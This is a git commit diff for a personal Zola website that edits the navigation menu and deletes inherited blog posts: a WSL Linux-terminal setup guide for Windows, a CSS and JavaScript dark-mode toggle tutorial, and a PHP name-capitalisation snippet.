removed most of tim's stuff and worked on rhino

This commit is contained in:
Satya Johnson 2021-09-23 20:59:41 +00:00
parent 19a40dfcd7
commit e59986fab0
89 changed files with 85 additions and 2296 deletions

View File

@ -36,9 +36,9 @@ author = "Satya Johnson"
zenn_title = "Satch"
zenn_menu = [
{url = "$BASE_URL/", name = "Home"},
{url = "$BASE_URL/projects/", name = "Projects"},
{url = "$BASE_URL/chat/", name = "Chat"},
{url = "$BASE_URL/rhino/", name = "Rhino"},
{url = "$BASE_URL/about/", name = "About"},
{url = "$BASE_URL/about/", name = "About"},
{url = "$BASE_URL/donate/", name = "Donate"},
{url = "$BASE_URL/contact/", name = "Contact"},
]

Binary file not shown.

Before

Width:  |  Height:  |  Size: 370 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 434 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 754 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 159 KiB

View File

@ -1,65 +0,0 @@
+++
title = "Fresh & shiny website, hurray!"
description = "A fresh and shiny new website, hurray!"
[taxonomies]
categories = ["release", "blog"]
tags = ["website"]
[extra]
zenn_applause = true
+++
My personal website had basically been unchanged, lacking content, collecting
dust, since 2011 _(!!!)_, and here we are, more than 8 years later.
Finally, I made some effort to revamp my personal website – _something you
obviously want to be proper looking_ – to scrap the previous.
I put some work in building a custom template to properly personalize it, with a
dark interface to reflect the stereotypical developer. It has some bold design
choices, so it'll be exciting how it works out.
Surprise surprise, you're currently visiting the fresh and shiny new website.
_Or not so shiny after all, because it's dark._
<!-- more -->
## Show me!
Alright, we went from:
{{ fit_image(path="blog/2019-07-03_fresh_shiny_website_hurray/before-home.png") }}
to ...
{{ fit_image(path="blog/2019-07-03_fresh_shiny_website_hurray/after-home.png") }}
{{ fit_image(path="blog/2019-07-03_fresh_shiny_website_hurray/after-about.png") }}
{{ fit_image(path="blog/2019-07-03_fresh_shiny_website_hurray/after-dungeon-maze.png") }}
It'll undergo some visual changes and improvements based on user feedback for
sure, but the majority of it stands.
## Blog
With this revamp, I introduced the ability for easy blogging.
I intend to use this website as a simple blog platform to share cool code
snippets, project releases, simple tutorials, useful findings and to share my
experience with various topics I'm interested in.
I'm not a writer, so let's see how this works out.
Notice the [Blog](@/blog/_index.md) section for an overview of posts,
or see the sidebar (bottom of the page on mobile devices) for a listing of
[categories](/categories) and [tags](/tags) to scope on a more specific topic.
_Oh, and, you're reading the first blog post right now!_
## 3-2-1 Publish
Today (2019-07-03) I'm publishing this new website at my personal `timvisee.com`
domain along with this post. I'd be happy to hear your thoughts!
Of course, as a proper _open-sourcerer_, the source code for this website as a
whole is available in [this][source] repository.
And a big thanks to the developers of [Zola][zola] for building an amazing site
engine I was able to build this website in.
[source]: https://github.com/timvisee/timvisee.com
[zola]: https://getzola.org/

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 103 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 88 KiB

View File

@ -1,354 +0,0 @@
+++
title = "Fix Windows 10 terminals, use a Linux terminal"
description = "I feel handicapped in Windows terminals, here is why, and how I fixed it."
[taxonomies]
categories = ["guide", "blog"]
tags = ["windows", "terminal", "linux"]
[extra]
toc = true
zenn_applause = true
comments = [
{url = "https://news.ycombinator.com/item?id=20383725", name = "Hacker News"},
{url = "https://www.reddit.com/r/bashonubuntuonwindows/comments/can286/fix_windows_10_terminals_use_a_linux_terminal/", name = "Reddit"},
{url = "https://lobste.rs/s/byz48p/fix_windows_10_terminals_use_linux", name = "Lobsters"},
]
+++
> _I feel handicapped in Windows terminals, here is why, and how I fixed it._
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/overview.png", url="/blog/fix-windows-terminals-use-linux-terminal/overview.png") }}
As a seasoned developer, I _live_ in the terminal on Linux machines.
Using a custom shell, `vim` as text/code editor, `git` through its CLI,
[`dotfiles`][dotfiles] to sync settings across devices.
Everything is customized to my likings and styled with a nice color scheme.
All of it in a dark, text-based window on my screen.
Once you get used to your command-line tools, it's a serious joy to
work with. It's a way to interface with your machine in a super-efficient and
expressive manner. As you can probably imagine, it can be pretty frustrating
when you don't have access to the tools you know and love.
I sometimes use a Windows machine, for work or for building Windows-supported
software. Sadly, I feel pretty handicapped on this operating system, to be
frank. I can't get comfortable (and I'm super OCD for that matter).
The overall experience always appears to be subpar to what I'm used to.
<!-- more -->
Through some testing, I've located this to be a problem with the terminals on
Windows. Though before the [WSL][wsl] era, running Linux tooling on Windows was
literally unthinkable, the situation has already improved a lot. Almost every
Linux tool works somewhat out of the box. Installing and configuring your
software using [dotfiles][dotfiles] became a much better experience as well.
The terminals on Windows still feel mediocre, it just isn't there yet.
> I should note that this isn't a problem for light terminal usage in Windows
> 10 these days. When invoking simple commands through SSH, everything works
> beautifully. This is about using heavily personalized tooling, and as you
> can probably tell, I'm somewhat of a power user in this regard. Though, this
> might become useful in the future.
### The problems
Throughout the past year, I've tried using a **lot** of different terminals
after giving up on the terminal included with `bash` on Windows.
Some of them include: ConEmu, hyper, Cmder, Terminus &amp; PuTTY, with various
troublesome configuration attempts. I was never able to achieve the same
experience as I've had on Linux or macOS, have always encountered weird
shenanigans and was never really satisfied.
Personally, I can generalize the usual problems to the following:
- color schemes are problematic, and usually, look different than its Linux
counterpart
- terminals on Windows appear *sloooow*, as a `vim` user you expect things to be
instant
- garbled output, no proper [ANSI][ansi] support
- some bindings don't work
With some more specific examples throughout the different terminals:
- weird lines between characters, random underlined text
- everything looks darker than it should be
- color channels are flipped
- some special characters are not rendered at all
- no support for [`xterm-256color`][xterm-256color] at all
### Simple solution
The solution to these problems honestly was quite simple, much more so than I
initially thought:
> Just run a Linux terminal you're familiar with, on Windows.
Yes, seriously. Why not use a Linux terminal, if you can't get Windows
terminals to behave? Because this is Windows, not Linux? Nope!
Some effort is required to get this up and running, which is what I'll guide you
through in the following section. Don't worry, this won't be hard and
shouldn't take more than 15 minutes.
## Linux terminal on Windows 10
Before we start, make sure you're running an up-to-date Windows 10 instance,
and you need to have administrator rights. That's all, and you're good to go.
We'll be going through the following five easy steps:
1. [Enable WSL, install Ubuntu](#enable-wsl)
2. [Install XFCE terminal](#install-terminal)
3. [Install X server](#install-x)
4. [Run XFCE terminal](#run-terminal)
4. [Create useful shortcuts](#useful-shortcuts)
### 1. Enable WSL, install Ubuntu {#enable-wsl}
Alright. The first big part is to get Linux software running on Windows in the
first place. Lucky for us, Windows has [WSL][wsl] these days, making this a
breeze.
To start, you must **enable WSL** on your installation. Microsoft's own
guide perfectly describes how this is done:
[docs.microsoft.com/en-us/windows/wsl/install-win10][wsl-install]
Once that is finished, you should **install a Linux distribution** that
provides Linux tooling we need. We'll be using the **Ubuntu** distribution
for this, which is most commonly used. (You may choose a different distro,
although some of the following commands will be different.) Ubuntu is
installed through the Microsoft Store, also described in
[this][wsl-install-ubuntu] guide.
WSL &amp; Linux: check ☑️
Let's continue.
### 2. Install XFCE terminal {#install-terminal}
Now you can pick a Linux terminal you want to use. We'll be
using the terminal included with the [XFCE][xfce] desktop in this guide. It's a
excellent versatile terminal, that is efficient, has superb color scheme
support, and has all the options you need. Choosing some different you have
experience with is fine as well, of course.
To **install XFCE terminal**, we'll use the Ubuntu package manager. Open the start
menu, and search for `bash`. This should bring up a terminal window running
Linux through WSL with a `bash` shell. Invoke the following two commands:
```bash
sudo apt update
sudo apt install xfce4-terminal
```
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/install_xfce.png") }}
You won't be able to use the installed terminal just yet, because Linux in WSL
has no way to draw a window on your screen at this time. We'll fix that in the
next step.
A proper terminal: check ☑️
### 3. Install X server {#install-x}
Graphical Linux systems commonly use the [X][x] Window System (a.k.a. X11), used
to manage and draw application windows on the screen. This system is very
flexible &amp; modular, which comes to good use in our case. X has various server
implementations, not just for Linux but also for Windows, acting as a system for
rendering windows.
> Random fun fact: you can even draw windows over the network with X, to an
> external machine.
We need to **install an X server** on our Windows system and tell Linux in WSL
to draw application windows to it. Guess what, this is the last installation
step required for showing the terminal window!
In this guide, we'll be using [**VcXsrv**][vcxsrv], but other implementations
should work similarly. Visit its project page, download and install it:
[sourceforge.net/projects/vcxsrv][vcxsrv]
Ability to render the terminal window on the screen: check ☑️
### 4. Run XFCE terminal {#run-terminal}
Now comes the fun part: actually starting and using the terminal.
You must start the X server we installed, tell applications in Linux to draw to
it, and the terminal is ready to start. Note that this is required after each login.
#### Start VcXsrv
First, **start the VcXsrv server** we have installed. An icon should have
appeared on your desktop, or you might find it through the start menu (named
'Xlaunch'). It will then ask us for some settings through a wizard:
Pick 'Multiple windows' for now, you can experiment with other options later.
Leave the 'Display number' value at `-1`.
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv1.png") }}
Just 'Start no client' for now, which allows us to show any number of Linux
application windows. You can always start the terminal directly through here
at a later time.
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv2.png") }}
We want to sync the clipboard to make life easier.
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv3.png") }}
Click 'Next' one more time and start the server.
Start the X server: check ☑️
#### Configure X server address
After that, the X server starts and a taskbar tray icon should appear.
This is useful because it tells us the address the server is running at.
Right-clicking allows you to kill the server as well.
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/toolbar_icon.png") }}
Our X server is running at `0.0`, chosen by the server because we set the
display number to `-1`. We need the number before the `.`, being `0` in this
case, and have to **configure this in the Linux environment**.
Open a `bash` shell again through the Windows start menu to access the Linux
environment. And set the `DISPLAY` environment variable to `:0`, for our X
server address:
```bash
export DISPLAY=:0
```
Configured the X server address: check ☑️
#### Start the terminal
This finally makes your system ready to actually start the terminal. **Invoke
the following command** and see the magic happen:
```bash
xfce4-terminal
```
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/start_xfce.png") }}
Oh yes! There it is, the XFCE Linux terminal on your Windows system in all its
glory. The terminal has sane defaults, but I recommend to take a quick look
through its settings anyway to pick the desired color scheme.
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/xfce_colors.png") }}
Your terminal is now ready to use to its full potential. Happy hacking!
### 5. Create useful shortcuts {#useful-shortcuts}
Okay, we're not quite done yet.
As you might have noticed, these last few steps are required after each login,
which is cumbersome. The X server must be started, and you need to set
the `DISPLAY` variable for each `bash` shell you open from Windows. Though the
following steps are not required, it is highly recommended you follow them.
#### VcXsrv configuration file shortcut
It is possible to create a configuration file for VcXsrv, to instantly start the
server without going through the wizard again and again.
To do this, go through the wizard one last time. You might want to use `0` as
'Display number' (instead of `-1`) to ensure you're always starting the server
on a consistent address. On the final wizard screen, a 'Save configuration'
button appears, click it and save it in an easy-to-access place such as your
desktop as it will act as shortcut.
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/vcxsrv4.png") }}
Double-clicking the created configuration file/shortcut should start the
server, and a tray icon should appear.
#### XFCE terminal shortcut
We can make starting the terminal easier by creating a custom shortcut.
Right-click on your desktop or an Explorer window to create a new shortcut:
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/create_shortcut.png") }}
We'll start `bash`, and automatically invoke the commands we ran
[before](#configure-x-server-address). Fill in the following command in the
'Location' field for this shortcut:
```bash
bash -c 'export DISPLAY=:0; xfce4-terminal -e bash'
```
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/shortcut_path.png") }}
Hit 'Next', pick a fun name and you're done.
Double-clicking the shortcut you've created should automatically open a new
_proper_ terminal window. Hurray!
Windows automatically spawns a window for the `bash` command we're running
through the shortcut, causing two windows to show up. This is annoying.
Luckily we can minimize this unused window by default. Right-click on the
shortcut, and hit 'Properties'. Set the 'Run' option to 'Minimized':
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/shortcut_minimized.png") }}
> Not showing the `bash` window at all is also possible with a workaround,
> but won't be covered in this guide.
## Tips &amp; Tricks
Here are some tips, tricks, and notices you might find useful.
You can extend the command used for the shortcut to automatically open a specific
Linux program or to start an `ssh` session. You can create multiple different
shortcuts as well. Here's an example to immediately start a `ssh` session I
commonly use:
```bash
bash -c 'export DISPLAY=:0; xfce4-terminal -e "bash -c \"ssh root@work.lan\""'
```
You can set the `DISPLAY` environment variable by default, by appending the `export
DISPLAY=:0` line to the `~/.bashrc` file through your `bash` shell.
You can use other graphical Linux software as well after setting the `DISPLAY`
environment variable.
If Linux applications don't show up, and the shortcut immediately quits, you
have probably configured an incorrect X server address or did not configure it
at all. Review the [Configure X server address](#configure-x-server-address)
section.
Here's a simple final checklist for all the steps to get a Linux terminal
working:
- [enable WSL, install Ubuntu](#enable-wsl)
- [install XFCE terminal](#install-terminal)
- [install X server](#install-x)
- for each login: [start VcXsrv](#start-vcxsrv)
- for each `bash` shell: [configure X server address](#configure-x-server-address)
- for each `bash` shell: [start the terminal](#start-the-terminal)
## Final thoughts
This solution isn't ideal. It takes effort to get up and running, and opening
a new terminal isn't as easy as with other terminals. But for me, this is a
solution that gives me the best terminal experience I've had on Windows. It
works like a charm, and it feels super _comfy_. That is important.
{{ fit_image(path="blog/2019-07-08_fix-windows-terminals-use-linux-terminal/workspace.png") }}
Honestly, I find it kind of interesting, that almost every terminal on a Linux
or macOS based system works flawlessly for any tooling with no configuration.
However, on Windows, I don't see this quality, for something that seems so
simple: rendering monospaced text on a screen.
Let's hope the terminal situation on Windows improves. A lot has been getting
better lately since WSL was introduced, and many more people started experiencing
these itches than before since Linux on Windows became a viable thing.
I wonder what the [upcoming][windows-terminal] Windows terminal will bring to
the table.
I won't be going back to Windows anytime soon myself, but at least this provides
a terminal I'm happy with when I _need_ to use a Windows machine.
As always: _Hope this helps!_ <sub>&nbsp;&nbsp;:wq</sub>
[ansi]: https://en.wikipedia.org/wiki/ANSI_escape_code
[dotfiles]: https://github.com/timvisee/dotfiles
[vcxsrv]: https://sourceforge.net/projects/vcxsrv/
[windows-terminal]: https://devblogs.microsoft.com/commandline/introducing-windows-terminal/
[wsl-install-ubuntu]: https://docs.microsoft.com/en-us/windows/wsl/install-win10#install-your-linux-distribution-of-choice
[wsl-install]: https://docs.microsoft.com/en-us/windows/wsl/install-win10
[wsl]: https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux
[x]: https://en.wikipedia.org/wiki/X_Window_System
[xfce]: https://xfce.org/
[xterm-256color]: https://stackoverflow.com/a/10039347/1000145

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 307 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 226 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

View File

@ -1,287 +0,0 @@
+++
title = "Dark mode toggle on your static website"
description = "Add a dark mode theme toggle to your static HTML website."
[taxonomies]
categories = ["guide", "blog"]
tags = ["web", "css", "javascript", "theme", "website"]
[extra]
toc = true
zenn_applause = true
+++
Developers [like][developers-like-dark] dark themes. When looking at a screen
all day (or rather, night) long, a pale white background with black text is an
eyesore. Many software engineers prefer to use a dark theme with lower
contrast colors in their code editors, and many tools started shipping dark
visuals as default in the last few years.
{{ fit_image(path="blog/2019-07-16_dark-mode-toggle-on-static-website/screenshot.png", url="/blog/dark-mode-toggle-on-static-website/screenshot.png") }}
I fall into that group as well and have been using these themes for so long
that I can't even recall when I joined the dark side. I started to like these
dark themes a lot and find them more visually pleasing, appearing more...
_Professional_. To reflect this, I wanted to give my website &ndash; _this_
website &ndash; dark visuals as well.
This isn't always a success. On some screens or in some light conditions the
dark theme can be difficult to read, and some just prefer a paper-like background
color anyway. I decided to create a dark/light mode toggle to please everyone.
<p>
<a href="#" onclick="theme_toggle(); return false;">
&#127763;
</a>
<i>&mdash; Tap the moon icon, and see the magic happen.</i>
</p>
<!-- more -->
## What we're building
Alright. In this post I'll explain how to implement a light/dark mode toggle
for your website, it's super simple and adaptable. There are _a million_
tutorials for this on the Internet already, but here is my take on it in
some detail with a few tips.
This will use and support:
- toggle theme using a button with smooth transitions
- remember chosen theme on a device, no flickering on page load
- simple &amp; effective to implement, works on static HTML pages
- style sheet per color theme, keep it maintainable with SCSS variables
Continue to the next section for the implementation, or skip to [The
result](#the-result) just for the result.
## Build a theme toggle
"How is this be implemented?" I hear you ask. Well, it's quite simple.
Because we're working with a static HTML website, theme selection must be done on the
client. We'll use two style sheets (each for a different color scheme), and some
simple JavaScript to toggle between these. The user preference will be
remembered across visits.
### Load two style sheets
First off, **load two style sheets** inside the `<head>` block of your website
which **replaces the existing** style sheet you might have in your template.
Just link both to your existing sheet for now. Assign an `id` to easily
reference them from JavaScript, choose `style-light` and `style-dark`. The
latter of the two links gets the `disabled` attribute to disable it by default.
They won't do anything yet, but this is to prepare for the toggle we'll build
next.
I'm using `/site.css`, which makes the imports **look like this**:
```html
<link id="style-light" rel="stylesheet" href="/site.css" />
<link id="style-dark" disabled rel="stylesheet" href="/site.css" />
```
### Add a toggle
Now we'll create the toggle. After that, we can finalize and iteratively
experiment with a new color scheme.
**Put an element** that will **act as toggle** somewhere on your website where
it's easily accessible. It should invoke the `theme_toggle()` function when
clicked which we'll set up next. On my website it's a contrast icon located
next to the page title, check it out. Though it can be anything, I recommend
to use an anchor, **like this**:
```html
<a href="#" onclick="theme_toggle(); return false;">&#127763;</a>
```
### Toggle with JavaScript
Create a **new JavaScript file**, let's call it `theme.js`. We need a function
`theme_set` to set the theme to light/dark, and `theme_toggle` which toggles
the theme. This will toggle the `disabled` state for both style sheets
depending on a truthy parameter, and stores the preference as well in the
persistent `localStorage` JavaScript store on the client. The toggle function
queries the current state and sets the theme by negating it. It **looks like
this**:
```js
function theme_set(toggled) {
document.getElementById('style-light').disabled = toggled;
document.getElementById('style-dark').disabled = !toggled;
localStorage.setItem('theme-toggled', toggled ? '1' : '');
}
function theme_toggle() {
theme_set(!document.getElementById('style-light').disabled);
}
```
To restore the user preference we need to set the theme on page load, based on
the stored value. **Append the following line** for this:
```js
theme_set(localStorage.getItem('theme-toggled'));
```
To use this, **load the script** in the `<head>` block of your template
**after** the style sheets, like this:
```js
<script src="/theme.js" type="text/javascript"></script>
```
### Theme style sheets
The toggle button is functional now, but you won't see anything change yet.
We'll look at creating a second style sheet with alternative colors now.
Generally speaking, the only thing that differs between these sheets will be
colors. I highly recommend using [`SCSS`][scss] as a
[CSS preprocessor][css-preprocessor] for this to allow the usage of color
variables, for easy theme variant creation. This guide won't cover
[installation][scss-install] or [usage][scss-usage] of [SCSS][scss], though
some static site generators such as [Zola][zola] have built-in support for
this. I'll show how I've configured my colors for my template, but you can
skip this section and use two raw CSS files as well.
Create a `_colors_light.scss` and `_colors_dark.scss` file. ([This][site] site
uses [Zola][zola], so I plase these in `/sass/` for automatic processing.)
Both should look similar to this, but having configured colors you choose for
your respective themes:
```css
/* File: _colors_light.scss */
$color-text: #282828;
$color-background: #fcfbf7;
$color-border: darken($color-background, 50%);
```
Moved all styles (used in any color variant) to `_site.scss`, and used the
color variables from above to adapt to the selected theme:
```css
/* File: _site.scss */
body {
color: $color-text;
background-color: $color-background;
}
```
Then create a `site_light.scss` and `site_dark.scss` sheet as the base,
importing their respective color configuration and the shared site styles.
```css
/* File: site_light.scss */
@import "_colors_light";
@import "_site";
```
After processing these, you've created both a `site_light.css` and
`site_dark.css` sheet. And yeah, it was that simple to keep it maintainable.
Be sure to adapt the style sheet links in your template to the paths these new
sheets are located at.
Awesome! Your toggle should now work, and the preference should be remembered
across page reloads. Now take the time to tweak the color variants.
### Smooth transitions
Once you're settled with a second color scheme and everything works, you can
enable smooth transitioning between the two themes. We'll use CSS
[transitions][css-transitions] for this, which are awesome because they're
simple and performant.
In your shared styles, you need to configure what CSS properties will smoothly
transition when changed. Imagine our `_site.scss` sheet from before, to
transition all properties that use variables we'll modify it to add the
`transition` property like this:
```css
/* File: _site.scss */
body {
color: $color-text;
background-color: $color-background;
transition: color 0.2s ease-in-out,
background-color 0.2s ease-in-out;
}
```
It will take some work to transition every dynamic property on your site, but
the result is great. Be sure to read the CSS transition documentation on
[MDN][css-transitions], because there's a lot you can tweak and configure.
Hurray! That's it, yes it was that simple. CSS is awesome for this as it
doesn't require changes to the body of your website except for some imports.
Now you can publish your freshened website and profit.
## Tips &amp; Tricks
You can modify the style sheet imports and script to use dark colors by default,
like on this website. Set the light scheme to be `disabled` by default, and
[tweak][theme-script-dark-permalink] the script.
You might want to leave your existing style sheet as-is, and just use a second
sheet to override colors in the main sheet. Simply modify the script to only
toggle the `disabled` state for the overriding sheet, and query the overriding
sheet instead in the `theme_toggle` function.
This isn't necessarily for light/dark themes and works perfectly fine for
other color combinations as well.
If desired, you could implement even more themes with a more advanced theme
toggling script implementation.
For additional inspiration you can take a look at styles for [this][site-styles]
website.
## The result
To recap, here is an overview of what the changes should look like.
Your templates `<head>` should contain something like:
```html
<head>
<!-- snip --->
<link id="style-light" rel="stylesheet" href="/site_light.css" />
<link id="style-dark" disabled rel="stylesheet" href="/site_dark.css" />
<script src="/theme.js"></script>
<!-- snip --->
</head>
```
And your `theme.js` file will look like:
```js
// File: theme.js
/**
* Set and apply the normal or toggled theme.
*
* @param toggled Truthy value to show toggled, normal otherwise.
*/
function theme_set(toggled) {
document.getElementById('style-light').disabled = toggled;
document.getElementById('style-dark').disabled = !toggled;
localStorage.setItem('theme-toggled', toggled ? '1' : '');
}
/**
* Toggle the current theme.
*/
function theme_toggle() {
theme_set(!document.getElementById('style-light').disabled);
}
// Apply selected theme, stored in localStorage item
theme_set(localStorage.getItem('theme-toggled'));
```
Along with your custom `site_{light,dark}.css` sheets, this is all you need.
As always: _Hope this helps!_ <sub>&nbsp;&nbsp;:wq</sub>
[css-preprocessor]: https://developer.mozilla.org/en-US/docs/Glossary/CSS_preprocessor
[css-transitions]: https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions
[developers-like-dark]: https://hashnode.com/post/which-color-theme-do-you-prefer-in-your-code-editor-ciq9e3wbn1avb0053p48nozw0
[scss-install]: https://sass-lang.com/install
[scss-usage]: https://sass-lang.com/guide
[scss]: https://sass-lang.com/
[site-styles]: https://gitlab.com/timvisee/timvisee.com/tree/master/themes/zenn/sass
[site]: https://gitlab.com/timvisee/timvisee.com
[theme-script-dark-permalink]: https://gitlab.com/timvisee/timvisee.com/blob/7e533e64c5acb5eb3bcdbfc97e9d60f1aa0e0519/themes/zenn/static/js/theme.js
[zola]: https://getzola.org/

Binary file not shown.

Before

Width:  |  Height:  |  Size: 296 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 171 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 164 KiB

View File

@ -1,212 +0,0 @@
+++
title = "Snippet: Correctly capitalize names in PHP"
description = "How to correctly capitalize and normalize names in PHP with this simple snippet"
[taxonomies]
categories = ["snippet", "blog"]
tags = ["php", "snippet"]
[extra]
zenn_applause = true
comments = [
{url = "https://www.reddit.com/r/laravel/comments/cefz8o/poc_snippet_to_correctly_capitalize_names_in_php/", name = "Reddit"},
{url = "https://lobste.rs/s/klpksc/poc_snippet_correctly_capitalize_names", name = "Lobsters"},
]
+++
When building websites with any kind of user registration, it's fascinating
what people enter in name fields. no casing, Random CASING, a dozen spaces
&nbsp;&nbsp;&nbsp;between&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;words, or
nospacingatall. Seeing this always irritates me, I'd fancy things to nice and
be consistent.
{{ fit_image(path="blog/2019-07-17_snippet-correctly-capitalize-names-in-php/banner.png", url="/blog/snippet-correctly-capitalize-names-in-php/banner.png") }}
It appears that correctly normalizing name capitalization is an _unsolvable_
puzzle. There is **no** consistency in name casing, or for any kind of name
formatting for that matter.
See [_Falsehoods programmers believe about names_][name-falsehoods].
> _I always wonder how big social networks handle this._
Okay, so this isn't solvable. But at least I could try to make it _better_.
I came across [this][original] wonderful PHP snippet for name capitalization a while
back, but it had a few shortages. It didn't correctly case with just a person's
last name for instance (needed when storing first/last names separate). I love
challenges like this and decided to improve, here is my take on it:
<!-- more -->
```php
<?php
/**
* Normalize the given (partial) name of a person.
*
* - re-capitalize, take last name inserts into account
* - remove excess white spaces
*
* Snippet from: https://timvisee.com/blog/snippet-correctly-capitalize-names-in-php
*
* @param string $name The input name.
* @return string The normalized name.
*/
function name_case($name) {
// A list of properly cased parts
$CASED = [
"O'", "l'", "d'", 'St.', 'Mc', 'the', 'van', 'het', 'in', "'t", 'ten',
'den', 'von', 'und', 'der', 'de', 'da', 'of', 'and', 'the', 'III', 'IV',
'VI', 'VII', 'VIII', 'IX',
];
// Trim whitespace sequences to one space, append space to properly chunk
$name = preg_replace('/\s+/', ' ', $name) . ' ';
// Break name up into parts split by name separators
$parts = preg_split('/( |-|O\'|l\'|d\'|St\\.|Mc)/i', $name, -1, PREG_SPLIT_DELIM_CAPTURE);
// Chunk parts, use $CASED or uppercase first, remove unfinished chunks
$parts = array_chunk($parts, 2);
$parts = array_filter($parts, function($part) {
return sizeof($part) == 2;
});
$parts = array_map(function($part) use($CASED) {
// Extract to name and separator part
list($name, $separator) = $part;
// Use specified case for separator if set
$cased = current(array_filter($CASED, function($i) use($separator) {
return strcasecmp($i, $separator) == 0;
}));
$separator = $cased ? $cased : $separator;
// Choose specified part case, or uppercase first as default
$cased = current(array_filter($CASED, function($i) use($name) {
return strcasecmp($i, $name) == 0;
}));
return [$cased ? $cased : ucfirst(strtolower($name)), $separator];
}, $parts);
$parts = array_map(function($part) {
return implode($part);
}, $parts);
$name = implode($parts);
// Trim and return normalized name
return trim($name);
}
```
<details>
<summary>Tap here to expand a better version for use with Laravel.</summary>
> This variant is more concise and uses a function approach using
> [Laravel collections][laravel-collections]:
>
> ```php
> <?php
>
> /**
> * Normalize the given (partial) name of a person.
> *
> * - re-capitalize, take last name inserts into account
> * - remove excess white spaces
> *
> * Snippet from: https://timvisee.com/blog/snippet-correctly-capitalize-names-in-php
> *
> * @param string $name The input name.
> * @return string The normalized name.
> */
> function name_case($name) {
> // A list of properly cased parts
> $CASED = collect([
> "O'", "l'", "d'", 'St.', 'Mc', 'the', 'van', 'het', 'in', "'t", 'ten',
> 'den', 'von', 'und', 'der', 'de', 'da', 'of', 'and', 'the', 'III', 'IV',
> 'VI', 'VII', 'VIII', 'IX',
> ]);
>
> // Trim whitespace sequences to one space, append space to properly chunk
> $name = preg_replace('/\s+/', ' ', $name) . ' ';
>
> // Break name up into parts split by name separators
> $parts = preg_split('/( |-|O\'|l\'|d\'|St\\.|Mc)/i', $name, -1, PREG_SPLIT_DELIM_CAPTURE);
>
> // Chunk parts, use $CASED or uppercase first, remove unfinished chunks
> $name = collect($parts)
> ->chunk(2)
> ->filter(function($part) {
> return $part->count() == 2;
> })
> ->mapSpread(function($name, $separator = null) use($CASED) {
> // Use specified case for separator if set
> $cased = $CASED->first(function($i) use($separator) {
> return strcasecmp($i, $separator) == 0;
> });
> $separator = $cased ?? $separator;
>
> // Choose specified part case, or uppercase first as default
> $cased = $CASED->first(function($i) use($name) {
> return strcasecmp($i, $name) == 0;
> });
> return [$cased ?? ucfirst(strtolower($name)), $separator];
> })
> ->map(function($part) {
> return implode($part);
> })
> ->join('');
>
> // Trim and return normalized name
> return trim($name);
> }
> ```
</details>
<br />
Of course, this function fulfills the truth table presented with the original
snippet:
| Input | Becomes |
| :------- | :----- |
| michael ocarrol | Michael OCarrol |
| lucas lamour | Lucas lAmour |
| george donofrio | George dOnofrio |
| william stanley iii | William Stanley III |
| UNITED STATES OF AMERICA | United States of America |
| t. von lieres und wilkau | T. von Lieres und Wilkau |
| paul van der knaap | Paul van der Knaap |
| jean-luc picard | Jean-Luc Picard |
| JOHN MCLAREN | John McLaren |
| hENRIC vIII | Henric VIII |
| VAsco da GAma | Vasco da Gama |
It neatly passes additional previously problematic situations as well.
Brilliant!
| Input | Original snippet | This snippet |
| :------- | :--- | :----- |
| van der knaap | <u>**Van**</u> der Knaap | van der Knaap |
| lamour | <u>**LA**</u>mour | lAmour |
| von lieres&nbsp;&nbsp;&nbsp;&nbsp;UND wilkau | <u>**V**</u>on Lieres<u>&nbsp;&nbsp;&nbsp;&nbsp;</u>und Wilkau | von Lieres und Wilkau |
<br />
Normalizing using a function like this makes it impossible for some to enter
their name as formatted on their ID. Knowing the audience you serve, this is a
risk you may be able to accept but it will never be perfect. You could always
use this to suggest formatting improvements to the user, allowing them to choose
what's right.
---
Using numbers to identify people would be a more rational choice, except when you're called Pi. /s
{{ fit_image(path="blog/2019-07-17_snippet-correctly-capitalize-names-in-php/beagle-boys.png") }}
Feel free to use and share.
_Special thanks to Armand Niculescu, for the [snippet][original] this was inspired by!_
[laravel-collections]: https://laravel.com/docs/collections
